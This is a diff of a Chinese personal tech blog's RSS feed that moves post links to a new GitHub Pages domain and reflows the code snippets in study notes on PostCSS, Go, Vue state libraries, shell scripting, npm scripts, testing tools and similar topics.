     <item>
       <title>PostCSS学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/129/</link>
+      <link>https://chenjunlinabc.github.io/posts/129/</link>
       <pubDate>Sun, 23 Jan 2022 13:55:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/129/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/129/</guid>
       <description>PostCSS是一个用JS插件转换为css的插件工具（注意：PostCSS不是css预处理器，PostCSS本身是个平台，可以通过一些插件达到css预处理器的效果）
 PostCSS is a tool for transforming CSS with JS plugins. These plugins can support variables and mixins, transpile future CSS syntax, inline images, and more.
 插件查询：https://www.postcss.parts/
@@ -1004,17 +1004,17 @@ npm install postcss postcss-loader
 npm install postcss postcss-loader &amp;ndash;save-dev
 PostCSS不单独使用，可搭配Gulp或者webpack使用（这里使用的是webpack）
 webpack.config.js
-module.exports = {
module: {
rules: [
{
test: /\.css$/,
use: [&amp;quot;style-loader&amp;quot;, &amp;quot;css-loader&amp;quot;, &amp;quot;postcss-loader&amp;quot;]
}
]
}
};
postcss.config.js
-module.exports = {
plugins: [插件1,插件2]
};
Autoprefixer（自动添加浏览器前缀）
+module.exports = { module: { rules: [ { test: /\.css$/, use: [&amp;quot;style-loader&amp;quot;, &amp;quot;css-loader&amp;quot;, &amp;quot;postcss-loader&amp;quot;] } ] } }; postcss.config.js
+module.exports = { plugins: [插件1,插件2] }; Autoprefixer（自动添加浏览器前缀）
 npm install autoprefixer &amp;ndash;save-dev</description>
     </item>
     
     <item>
       <title>Golang进阶扩展笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/128/</link>
+      <link>https://chenjunlinabc.github.io/posts/128/</link>
       <pubDate>Sun, 16 Jan 2022 09:08:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/128/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/128/</guid>
       <description>这篇笔记是进阶学习，如果基础没有看的的话，请去看https://xiaochenabc123.test.com/archives/96.html
 并发
 go的并发靠goroutine，goroutine由go运行时调度，线程由操作系统调度，go还提供channel来给多个goroutine之间通行，goroutine和channel是go并发模式CSP（Communicating Sequential Process，通讯顺序进程）的实现基础，goroutine的调度在用户态下完成，不涉及内核态（比如内存的分配和释放，都是用户态维护的内存池，成本远比调度OS线程要低的多，可轻松做到成千上万个goroutine）
@@ -1057,10 +1057,10 @@ sync/atomic包将原子操作封装成了Go的函数，sync/atomic包提供了
     
     <item>
       <title>python爬虫学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/125/</link>
+      <link>https://chenjunlinabc.github.io/posts/125/</link>
       <pubDate>Fri, 31 Dec 2021 01:05:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/125/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/125/</guid>
       <description>urllib，xpath，jsonpath，beautiful，requests，selenium，Scrapy
 python库内置的HTTP请求库 urllib.request 请求模块 urllib.error 异常处理模块 urllib.parse url解析模块 urllib.robotparsef robots.txt解析模块
 urllib.request提供了最基本的http请求方法，主要带有处理授权验证，重定向，浏览器Cookies功能
@@ -1071,15 +1071,15 @@ HTTPResposne类型对象
 post发送一个请求，只需要把参数data以bytes类型传入 import urllib.parse import urllib.request data = bytes(urllib.parse.urlencode({&amp;lsquo;hallo&amp;rsquo;:&amp;lsquo;python&amp;rsquo;}),encoding=&amp;lsquo;utf-8&amp;rsquo;) response = urllib.request.urlopen(&amp;lsquo;http://httpbin.org/post&#39;.data = data) print(response.read())
 timeout参数用于设置超时时间，单位为秒 import urllib.request response = urllib.request.urlopen(&amp;lsquo;https://xiaochenabc123.test.com/&#39;,timeout=1)
 这里设置超时时间为1秒，如果超了1秒，服务器依然没有响应就抛出URLError异常，可以结合try和except
-import urllib.parse
import urllib.request
url = &amp;quot;https://xiaochenabc123.test.com/&amp;quot;
headers = {
&#39;User-Agent&#39;: &#39;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.</description>
+import urllib.parse import urllib.request url = &amp;quot;https://xiaochenabc123.test.com/&amp;quot; headers = { &#39;User-Agent&#39;: &#39;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.</description>
     </item>
     
     <item>
       <title>Pinia---vuejs的轻量级状态管理库</title>
-      <link>https://xiaochenabc123.github.io/posts/124/</link>
+      <link>https://chenjunlinabc.github.io/posts/124/</link>
       <pubDate>Sun, 26 Dec 2021 20:22:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/124/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/124/</guid>
       <description>Pinia是vuejs的轻量级状态管理库，Pinia支持Vue devtools浏览器扩展工具，可扩展，模块化设计，热模块更新，轻量级，支持TypeScript，支持SSR服务器端渲染，支持vue2，vue3
 Pinia作者也是vuex核心之一
 安装pinia
@@ -1088,16 +1088,16 @@ npm install pinia@next
 yarn add pinia@next
 导入pinia并且挂载为vue插件(在Vite脚手架下)
 src/main.js
-import { createApp } from &#39;vue&#39;
import App from &#39;./App.vue&#39;
const app = createApp(App)
import { createPinia } from &#39;pinia&#39;
app.use(createPinia())
app.mount(&#39;#app&#39;)
src/stores/main.js（pinia通过defineStore函数来创建state，并且接收一个id来标识state）
-import { defineStore } from &#39;pinia&#39;
export const useDataStore = defineStore(&#39;data&#39;, {
state: () =&amp;gt; {
return { count: 666 }
},
//state: () =&amp;gt; {
//name: chen
//},
getters:{ // getters计算属性
doubleCount(state){
return state.</description>
+import { createApp } from &#39;vue&#39; import App from &#39;./App.vue&#39; const app = createApp(App) import { createPinia } from &#39;pinia&#39; app.use(createPinia()) app.mount(&#39;#app&#39;) src/stores/main.js（pinia通过defineStore函数来创建state，并且接收一个id来标识state）
+import { defineStore } from &#39;pinia&#39; export const useDataStore = defineStore(&#39;data&#39;, { state: () =&amp;gt; { return { count: 666 } }, //state: () =&amp;gt; { //name: chen //}, getters:{ // getters计算属性 doubleCount(state){ return state.</description>
     </item>
     
     <item>
       <title>简单使用vuex状态管理库</title>
-      <link>https://xiaochenabc123.github.io/posts/123/</link>
+      <link>https://chenjunlinabc.github.io/posts/123/</link>
       <pubDate>Mon, 13 Dec 2021 06:19:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/123/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/123/</guid>
       <description>vuex是一个专门为vuejs应用程序的设计的状态管理
 集中式存储管理应用的所有组件的状态
 多组件状态共享，不同的组件改变同一个状态
@@ -1112,22 +1112,22 @@ import Vuex from &amp;ldquo;vuex&amp;rdquo;
 new Vuex.store()
 将vuex实例挂载在vue对象上
 index.js
-Vue.use(Vuex)
const store = new Vuex.Store({
state: {
count: 0
}
})
export default store
main.js
-new Vue({
store // 将store对象添加到vue实例上
})
可以通过this.$store.state.count获取到状态（官方推荐将获取装态的操作放到computed中）
+Vue.use(Vuex) const store = new Vuex.Store({ state: { count: 0 } }) export default store main.js
+new Vue({ store // 将store对象添加到vue实例上 }) 可以通过this.$store.state.count获取到状态（官方推荐将获取装态的操作放到computed中）
 使用解构获取状态： import { mapState } from &amp;lsquo;vuex&amp;rsquo; export default { mounted() { console.log(this.count) }, computed: { &amp;hellip;mapState([&amp;lsquo;count&amp;rsquo;]) } }
 Getter
-getters: {
getCount(state) {
return state.</description>
+getters: { getCount(state) { return state.</description>
     </item>
     
     <item>
       <title>简单了解RSS</title>
-      <link>https://xiaochenabc123.github.io/posts/122/</link>
+      <link>https://chenjunlinabc.github.io/posts/122/</link>
       <pubDate>Mon, 06 Dec 2021 02:32:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/122/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/122/</guid>
       <description>RSS指 Really Simple Syndication（简易信息聚合），RSS定义了方法来获取网站的标题以及内容，而且RSS可以被自动更新，RSS使用了XML进行编写（xml笔记：https://xiaochenabc123.test.com/archives/17.html）
 一个RSS例子：
-&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot; ?&amp;gt;
&amp;lt;rss version=&amp;quot;2.0&amp;quot;&amp;gt;
&amp;lt;channel&amp;gt;
&amp;lt;title&amp;gt;小陈的辣鸡屋&amp;lt;/title&amp;gt;
&amp;lt;link&amp;gt;https://xiaochenabc123.test.com/&amp;lt;/link&amp;gt;
&amp;lt;description&amp;gt;xiaochenabc123.test.com&amp;lt;/description&amp;gt;
&amp;lt;item&amp;gt;
&amp;lt;title&amp;gt;简单了解设计模式&amp;lt;/title&amp;gt;
&amp;lt;link&amp;gt;https://xiaochenabc123.test.com/archives/121.html&amp;lt;/link&amp;gt;
&amp;lt;description&amp;gt;&amp;lt;![CDATA[设计模式实质就是一套可以通用，复用的设计方案，设计模式是针对面向对象的，在面向对象出来之前，程序是面向过程的，设计模式就是软件设计的工具面向过程：逻辑化过程，以逻辑实现面向对象：思考有哪些对象，...]]&amp;gt;&amp;lt;/description&amp;gt;
&amp;lt;content:encoded xml:lang=&amp;quot;zh-CN&amp;quot;&amp;gt;xxxxxxx&amp;lt;/content:encoded&amp;gt;
&amp;lt;/item&amp;gt;
&amp;lt;/channel&amp;gt;
&amp;lt;/rss&amp;gt;
可以看到是RSS频道的标题，是该频道的超链接，是该频道的描述，是定义该频道的某篇文章的，其中又有，分别表示文章标题，文章的超链接，文章的描述，其中还有表示文章的内容
+&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot; ?&amp;gt; &amp;lt;rss version=&amp;quot;2.0&amp;quot;&amp;gt; &amp;lt;channel&amp;gt; &amp;lt;title&amp;gt;小陈的辣鸡屋&amp;lt;/title&amp;gt; &amp;lt;link&amp;gt;https://xiaochenabc123.test.com/&amp;lt;/link&amp;gt; &amp;lt;description&amp;gt;xiaochenabc123.test.com&amp;lt;/description&amp;gt; &amp;lt;item&amp;gt; &amp;lt;title&amp;gt;简单了解设计模式&amp;lt;/title&amp;gt; &amp;lt;link&amp;gt;https://xiaochenabc123.test.com/archives/121.html&amp;lt;/link&amp;gt; &amp;lt;description&amp;gt;&amp;lt;![CDATA[设计模式实质就是一套可以通用，复用的设计方案，设计模式是针对面向对象的，在面向对象出来之前，程序是面向过程的，设计模式就是软件设计的工具面向过程：逻辑化过程，以逻辑实现面向对象：思考有哪些对象，...]]&amp;gt;&amp;lt;/description&amp;gt; &amp;lt;content:encoded xml:lang=&amp;quot;zh-CN&amp;quot;&amp;gt;xxxxxxx&amp;lt;/content:encoded&amp;gt; &amp;lt;/item&amp;gt; &amp;lt;/channel&amp;gt; &amp;lt;/rss&amp;gt; 可以看到是RSS频道的标题，是该频道的超链接，是该频道的描述，是定义该频道的某篇文章的，其中又有，分别表示文章标题，文章的超链接，文章的描述，其中还有表示文章的内容
 RSS注释和HTML的注释一样，
 注意：RSS是基于XML编写，所以全部元素都要有闭合标签，大小写敏感，属性值要带引号
 channel元素除了上面那几个外，还有，， ，等等
@@ -1137,10 +1137,10 @@ RSS阅读器可以更好读取RSSfeed</description>
     
     <item>
       <title>简单了解设计模式</title>
-      <link>https://xiaochenabc123.github.io/posts/121/</link>
+      <link>https://chenjunlinabc.github.io/posts/121/</link>
       <pubDate>Tue, 30 Nov 2021 15:08:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/121/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/121/</guid>
       <description>设计模式实质就是一套可以通用，复用的设计方案，设计模式是针对面向对象的，在面向对象出来之前，程序是面向过程的，设计模式就是软件设计的工具
 面向过程：逻辑化过程，以逻辑实现
 面向对象：思考有哪些对象，对象都有什么行为，行为的逻辑化
@@ -1161,13 +1161,13 @@ RSS阅读器可以更好读取RSSfeed</description>
     
     <item>
       <title>shell脚本学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/120/</link>
+      <link>https://chenjunlinabc.github.io/posts/120/</link>
       <pubDate>Tue, 23 Nov 2021 00:01:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/120/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/120/</guid>
       <description>shell中文意思为壳，shell可以接受使用者的指令，来调用服务，shell的种类很多，而比较常见是Bash，头部声明#!/bin/bash，表示bash是解释脚本的程序
 例如：
-#!/bin/bash
echo &amp;quot;hallo word&amp;quot;
执行该脚本（注意：需要有可执行权限，sudo chmod +x hallo.sh）
+#!/bin/bash echo &amp;quot;hallo word&amp;quot; 执行该脚本（注意：需要有可执行权限，sudo chmod +x hallo.sh）
 bash hallo.sh
 也可以直接执行
 ./hallo.sh
@@ -1192,15 +1192,15 @@ echo &amp;ldquo;hallo word&amp;rdquo;; echo &amp;ldquo;要执行的shell脚本
 获取当前脚本shell进程的ID：$$
 获取后台运行的最后一个进程的ID：$!
 配合函数使用（参数也可以通过函数来传递）
-function abc(){
echo &amp;quot;参数1: $1&amp;quot;
echo &amp;quot;被执行的脚本为: $0&amp;quot;
}
abc hallo
.</description>
+function abc(){ echo &amp;quot;参数1: $1&amp;quot; echo &amp;quot;被执行的脚本为: $0&amp;quot; } abc hallo .</description>
     </item>
     
     <item>
       <title>简单使用Rollup模块打包工具</title>
-      <link>https://xiaochenabc123.github.io/posts/119/</link>
+      <link>https://chenjunlinabc.github.io/posts/119/</link>
       <pubDate>Wed, 10 Nov 2021 16:22:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/119/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/119/</guid>
       <description>根据Rollup官方文档的介绍：Rollup 是一个 JavaScript 模块打包器，可以将小块代码编译成大块复杂的代码，例如 library 或应用程序。
 Rollup和webpack那种偏向于应用打包不同，Rollup更专注于类库打包，像vue，react都是通过rollup打包的
 注意：webpack支持HMR（热模块更新），而Rollup并不支持，因此在应用打包的时候还是选择webpack比较好，但是如果只是打包类库之类的，并且还是基于ES6模块开发的，那么就可以考虑选择rollup了，因为rollup在Tree-shaking和ES6模块有着算法优势。因为Rollup对模块化是使用新标准，例如 CommonJS，而不是老旧解决方案
@@ -1211,10 +1211,10 @@ npm install rollup
 查看帮助文档
 rollup &amp;ndash;help
 打包使用
-rollup -i index.js
默认输出到终端
+rollup -i index.js 默认输出到终端
 指定输出到哪个文件
-rollup -i index.js --file dist.js
还可以指定输出模块标准是哪个
-rollup -i index.js --file dist.js --format umd
rollup -i index.js --file dist.js --format cjs
rollup -i index.js --file dist.js --format iife
打包
+rollup -i index.js --file dist.js 还可以指定输出模块标准是哪个
+rollup -i index.js --file dist.js --format umd rollup -i index.js --file dist.js --format cjs rollup -i index.js --file dist.js --format iife 打包
 rollup src/demo.js -f cjs -o dist/bundle.js
 注意：-f是&amp;ndash;format的缩写，表示生成代码的格式，例如amd，cjs，es，umd，iife
 使用UMD格式需要指明一个name属性，用来挂载模块到全局环境中
@@ -1224,25 +1224,25 @@ rollup src/demo.js -f umd -o dist/bundle.js &amp;ndash;name hallo
     
     <item>
       <title>Web.py学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/117/</link>
+      <link>https://chenjunlinabc.github.io/posts/117/</link>
       <pubDate>Mon, 18 Oct 2021 12:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/117/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/117/</guid>
       <description>web.py是一个轻量级Python web框架，是由已故著名计算机黑客Aaron Swartz设计开发（如果你看过互联网之子这个电影，你应该对这位大佬很熟悉）
 安装web.py
 pip install web.py
 导入模块
 import web
 第一个例子
-import web
urls = (
&amp;quot;/(.*)&amp;quot;,&amp;quot;hallo&amp;quot;
)
app = web.application(urls,globals())
class hallo:
def GET(self,name):
return &amp;quot;&amp;lt;h1&amp;gt;hallo web.py&amp;lt;/h1&amp;gt;&amp;quot;
if __name__==&amp;quot;__main__&amp;quot;:
app.run()
可以看到页面内容是return返回的，也可以open读取html文件，来返回回去，都是可以的</description>
+import web urls = ( &amp;quot;/(.*)&amp;quot;,&amp;quot;hallo&amp;quot; ) app = web.application(urls,globals()) class hallo: def GET(self,name): return &amp;quot;&amp;lt;h1&amp;gt;hallo web.py&amp;lt;/h1&amp;gt;&amp;quot; if __name__==&amp;quot;__main__&amp;quot;: app.run() 可以看到页面内容是return返回的，也可以open读取html文件，来返回回去，都是可以的</description>
     </item>
     
     <item>
       <title>weex跨平台框架学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/116/</link>
+      <link>https://chenjunlinabc.github.io/posts/116/</link>
       <pubDate>Sun, 10 Oct 2021 14:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/116/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/116/</guid>
       <description>weex是阿里巴巴在Qcon大会上宣布开源的一套跨平台移动开发工具
 支持ES6，跨平台，体积小，性能优异，编写规范
 官网：http://emas.weex.io/zh/
@@ -1270,10 +1270,10 @@ weex compile 目录或者文件 打包文件存放的目录或者文件 -m
     
     <item>
       <title>操作系统学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/115/</link>
+      <link>https://chenjunlinabc.github.io/posts/115/</link>
       <pubDate>Thu, 07 Oct 2021 09:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/115/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/115/</guid>
       <description>操作系统是管理计算机硬件和软件资源，并且提供用户交互的软件系统
 常见操作系统有Windows，Linux，Android
 操作系统具备管理计算机资源的功能，具备抽象计算机资源的能力，能和用户进行交互
@@ -1338,17 +1338,17 @@ CPU需要逻辑地址上的内存内容（ALU），内存管理单元（MMU）
     
     <item>
       <title>简单使用mocha测试框架</title>
-      <link>https://xiaochenabc123.github.io/posts/114/</link>
+      <link>https://chenjunlinabc.github.io/posts/114/</link>
       <pubDate>Sun, 03 Oct 2021 12:55:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/114/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/114/</guid>
       <description>mocha是JavaScript测试框架
 安装
 npm install &amp;ndash;global mocha
 测试，例如：
 demo.js
-function abc(a,b,c){
return a+b+c
}
module.exports = abc
demo.test.js
-const demo = require(&#39;./demo.js&#39;)
const expect = require(&#39;chai&#39;).expect
describe(&#39;test&#39;, function() {
it(&#39;错误&#39;, function() {
expect(demo(1,3,7)).to.be.equal(11)
})
})
测试（允许测试多个，默认执行test子目录的测试文件，如果test子目录存在该文件，可以不用加参数）
+function abc(a,b,c){ return a+b+c } module.exports = abc demo.test.js
+const demo = require(&#39;./demo.js&#39;) const expect = require(&#39;chai&#39;).expect describe(&#39;test&#39;, function() { it(&#39;错误&#39;, function() { expect(demo(1,3,7)).to.be.equal(11) }) }) 测试（允许测试多个，默认执行test子目录的测试文件，如果test子目录存在该文件，可以不用加参数）
 mocha demo.test.js
 其中expect(demo(1,3,7)).to.be.equal(11)是断言，当1+3+7的结果不是11的时候，抛出错误
 因为mocha本身没有断言库，需要导入 const expect = require(&amp;lsquo;chai&amp;rsquo;).expect
@@ -1370,10 +1370,10 @@ npm install babel-core babel-preset-es2015 &amp;ndash;save-dev
     
     <item>
       <title>简单使用istanbul代码覆盖率工具</title>
-      <link>https://xiaochenabc123.github.io/posts/113/</link>
+      <link>https://chenjunlinabc.github.io/posts/113/</link>
       <pubDate>Thu, 30 Sep 2021 12:22:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/113/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/113/</guid>
       <description>代码覆盖率：是否所有代码都被执行或者调用
 每一行，每个函数，每个语句块，每个if分支是否都被执行或者被调用
 istanbul是JavaScript的覆盖率工具（类似工具还有NYC）（可搭配mocha使用）
@@ -1389,10 +1389,10 @@ istanbul check-coverage &amp;ndash;statement 60 &amp;ndash;branch -5 &amp;ndash;
     
     <item>
       <title>简单使用Lerna多包管理工具</title>
-      <link>https://xiaochenabc123.github.io/posts/112/</link>
+      <link>https://chenjunlinabc.github.io/posts/112/</link>
       <pubDate>Sun, 26 Sep 2021 12:50:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/112/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/112/</guid>
       <description>Lerna是一个基于git和npm来管理多个包工作流的工具（monorepo），解决多个包之间的依赖问题，像React，Vue，Babel都在使用lerna管理多包
 安装Lerna
 npm install &amp;ndash;global lerna
@@ -1422,10 +1422,10 @@ lerna有两个管理模式，分别是固定模式（默认模式）和独立模
     
     <item>
       <title>简单使用ESlint代码风格校验工具</title>
-      <link>https://xiaochenabc123.github.io/posts/111/</link>
+      <link>https://chenjunlinabc.github.io/posts/111/</link>
       <pubDate>Thu, 23 Sep 2021 10:06:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/111/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/111/</guid>
       <description>ESlint是用来校验JavaScript代码风格格式的工具，目的是确保每个人的代码风格统一，按照统一的规范编写（规范化、标准化是前端工程化的特点）
 安装ESlint
 npm install eslint &amp;ndash;save-dev
@@ -1447,10 +1447,10 @@ npm run lint
     
     <item>
       <title>Umi框架学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/110/</link>
+      <link>https://chenjunlinabc.github.io/posts/110/</link>
       <pubDate>Mon, 20 Sep 2021 21:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/110/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/110/</guid>
       <description>Umi是一款前端应用框架
 官方文档：https://umijs.org/zh-CN/docs
 根据官方文档要求，node版本&amp;gt;=10.13
@@ -1462,11 +1462,11 @@ yarn start
 构建项目（默认生成到./dist）
 yarn build
 路由（src\.umi\core\routes.ts）
-&amp;quot;routes&amp;quot;: [
{
&amp;quot;path&amp;quot;: &amp;quot;/&amp;quot;,
&amp;quot;component&amp;quot;: require(&#39;@/pages/index&#39;).default,
&amp;quot;exact&amp;quot;: true
},{
&amp;quot;path&amp;quot;: &amp;quot;/admin&amp;quot;,
&amp;quot;component&amp;quot;: require(&#39;@/pages/admin&#39;).default,
&amp;quot;exact&amp;quot;: true
}
]
组件文件放在src\pages下
+&amp;quot;routes&amp;quot;: [ { &amp;quot;path&amp;quot;: &amp;quot;/&amp;quot;, &amp;quot;component&amp;quot;: require(&#39;@/pages/index&#39;).default, &amp;quot;exact&amp;quot;: true },{ &amp;quot;path&amp;quot;: &amp;quot;/admin&amp;quot;, &amp;quot;component&amp;quot;: require(&#39;@/pages/admin&#39;).default, &amp;quot;exact&amp;quot;: true } ] 组件文件放在src\pages下
 path是路径，component是组件路径，绝对和相对都可以用，也可以有require(&amp;rsquo;@/pages/xxx&amp;rsquo;)的方式
 exact表示是否严格匹配，就是path和组件路径是否要完全对应，默认为开启，如果设置为false，表示模糊匹配
 子组件
-&amp;quot;routes&amp;quot;: [
{
&amp;quot;path&amp;quot;: &amp;quot;/&amp;quot;,
&amp;quot;redirect&amp;quot;: &#39;/admin&#39;,
},{
&amp;quot;path&amp;quot;: &amp;quot;/admin&amp;quot;,
&amp;quot;component&amp;quot;: require(&#39;@/pages/admin&#39;).default,
routes: [
{ path: &#39;/admin/archives&#39;, redirect: &#39;/&#39; },
{ path: &#39;/admin/category&#39;, component: &#39;category&#39; },
]
}
]
redirect是跳转路由，当访问/的时候，跳转到/admin
+&amp;quot;routes&amp;quot;: [ { &amp;quot;path&amp;quot;: &amp;quot;/&amp;quot;, &amp;quot;redirect&amp;quot;: &#39;/admin&#39;, },{ &amp;quot;path&amp;quot;: &amp;quot;/admin&amp;quot;, &amp;quot;component&amp;quot;: require(&#39;@/pages/admin&#39;).default, routes: [ { path: &#39;/admin/archives&#39;, redirect: &#39;/&#39; }, { path: &#39;/admin/category&#39;, component: &#39;category&#39; }, ] } ] redirect是跳转路由，当访问/的时候，跳转到/admin
 文件路由（根据目录和文件名来分析路由）
 如果没有routes路由配置，那么就会触发该文件路由，通过分析src/pages目录
 注意：用.或者_开头的文件，用d.ts结尾的文件，不是 .</description>
@@ -1474,35 +1474,35 @@ exact表示是否严格匹配，就是path和组件路径是否要完全对应
     
     <item>
       <title>简单了解并且使用npm script</title>
-      <link>https://xiaochenabc123.github.io/posts/109/</link>
+      <link>https://chenjunlinabc.github.io/posts/109/</link>
       <pubDate>Mon, 20 Sep 2021 14:30:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/109/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/109/</guid>
       <description>npm script是package.json中可以定义的脚本命令，可以用来实现自动化构建，例如：
-&amp;quot;scripts&amp;quot;: {
&amp;quot;dev&amp;quot;: &amp;quot;node hallo.js&amp;quot;
}
npm run dev // 等于执行node hallo.js
+&amp;quot;scripts&amp;quot;: { &amp;quot;dev&amp;quot;: &amp;quot;node hallo.js&amp;quot; } npm run dev // 等于执行node hallo.js
 查看当前项目的全部npm脚本
 npm run
 注意：当前项目的node_modules/bin下的全部依赖都可以直接访问
 如果要执行多个脚本可以用&amp;amp;&amp;amp;（依次运行），&amp;amp;（并行运行）
 npm script有pre和post两个钩子，这两个钩子可以分别来做准备工作和清理工作等等，例如：
-&amp;quot;scripts&amp;quot;: {
&amp;quot;predev&amp;quot;: &amp;quot;echo hallo&amp;quot;,
&amp;quot;dev&amp;quot;: &amp;quot;node hallo.js&amp;quot;,
&amp;quot;postdev&amp;quot;: &amp;quot;echo yes&amp;quot;
}
相对于npm run predev &amp;amp;&amp;amp; npm run dev &amp;amp;&amp;amp; npm run postdev
+&amp;quot;scripts&amp;quot;: { &amp;quot;predev&amp;quot;: &amp;quot;echo hallo&amp;quot;, &amp;quot;dev&amp;quot;: &amp;quot;node hallo.js&amp;quot;, &amp;quot;postdev&amp;quot;: &amp;quot;echo yes&amp;quot; } 相对于npm run predev &amp;amp;&amp;amp; npm run dev &amp;amp;&amp;amp; npm run postdev
 像install，uninstall，publish，test，start等等都有pre和post这两个钩子
 查看正在运行的脚本
 const NpmScript = process.env.npm_lifecycle_event console.log(NpmScript)
 可以缩写不用run，例如：npm dev
 npm script可以使用npm内部变量，例如：
-{
&amp;quot;name&amp;quot;: &amp;quot;root&amp;quot;, &amp;quot;scripts&amp;quot;: {
&amp;quot;dev&amp;quot;: &amp;quot;node hallo.js $npm_package_name&amp;quot;
}
}
获取npm内部变量name
+{ &amp;quot;name&amp;quot;: &amp;quot;root&amp;quot;, &amp;quot;scripts&amp;quot;: { &amp;quot;dev&amp;quot;: &amp;quot;node hallo.js $npm_package_name&amp;quot; } } 获取npm内部变量name
 console.log(process.env.npm_package_name)
 脚本错误抛出
-&amp;quot;scripts&amp;quot;: {
&amp;quot;test&amp;quot;: &amp;quot;echo \&amp;quot;Error: no test specified\&amp;quot; &amp;amp;&amp;amp; exit 1&amp;quot;
}
传递参数</description>
+&amp;quot;scripts&amp;quot;: { &amp;quot;test&amp;quot;: &amp;quot;echo \&amp;quot;Error: no test specified\&amp;quot; &amp;amp;&amp;amp; exit 1&amp;quot; } 传递参数</description>
     </item>
     
     <item>
       <title>数据结构学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/106/</link>
+      <link>https://chenjunlinabc.github.io/posts/106/</link>
       <pubDate>Fri, 17 Sep 2021 01:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/106/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/106/</guid>
       <description>数据结构其实就是带结构的数据元素的集合，结构是数据元素之间的关系
 数据结构（数组，字符串，队列，栈，链表，集合，哈希表（散列表），树（二叉树），图）
 集合：结构中的元素除了同属于一个集合外，没有别的关系
@@ -1519,10 +1519,10 @@ console.log(process.env.npm_package_name)
     
     <item>
       <title>NodeJS常用工具的简单使用</title>
-      <link>https://xiaochenabc123.github.io/posts/105/</link>
+      <link>https://chenjunlinabc.github.io/posts/105/</link>
       <pubDate>Thu, 16 Sep 2021 21:55:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/105/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/105/</guid>
       <description>npm在这里https://xiaochenabc123.test.com/archives/31.html
 Yarn在这里https://xiaochenabc123.test.com/archives/38.html
 nvm全名node.js version management
@@ -1565,53 +1565,53 @@ n rm 14.17.3</description>
     
     <item>
       <title>Angular学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/101/</link>
+      <link>https://chenjunlinabc.github.io/posts/101/</link>
       <pubDate>Mon, 13 Sep 2021 12:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/101/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/101/</guid>
       <description>Angular是三大前端框架之一（Angular在国内的热度低，但是在国外热度还是很高的，主要是因为Angular到Angular2的断崖式升级）
 Angular和Vue的区别就是，Angular具备完整的MVVM框架功能（功能高度集成），提供一套完整的解决方案，而Vue是轻量级MVVM框架（渐进式，还需要vue-router之类的扩展功能），Angular和Vue并没有谁好谁坏之分，各有风格
 注意：Angular是AngularJS的重写，AngularJS使用JavaScript编写完成，而Angular采用TypeScript编写完成
 安装
 npm install -g angular-cli
 第一个Angular应用
-&amp;lt;div ng-app ng-init=&amp;quot;name=&#39;default&#39;&amp;quot;&amp;gt;
&amp;lt;p&amp;gt;name: &amp;lt;input type=&amp;quot;text&amp;quot; ng-model=&amp;quot;name&amp;quot;&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;hallo，{{name}}&amp;lt;/h1&amp;gt;
&amp;lt;p ng-bind=&amp;quot;name&amp;quot;&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;
ng-app属性将其声明为是一个Angular应用，ng-model将数据绑定到name中，ng-bind将其输出绑定，ng-init是初始化值</description>
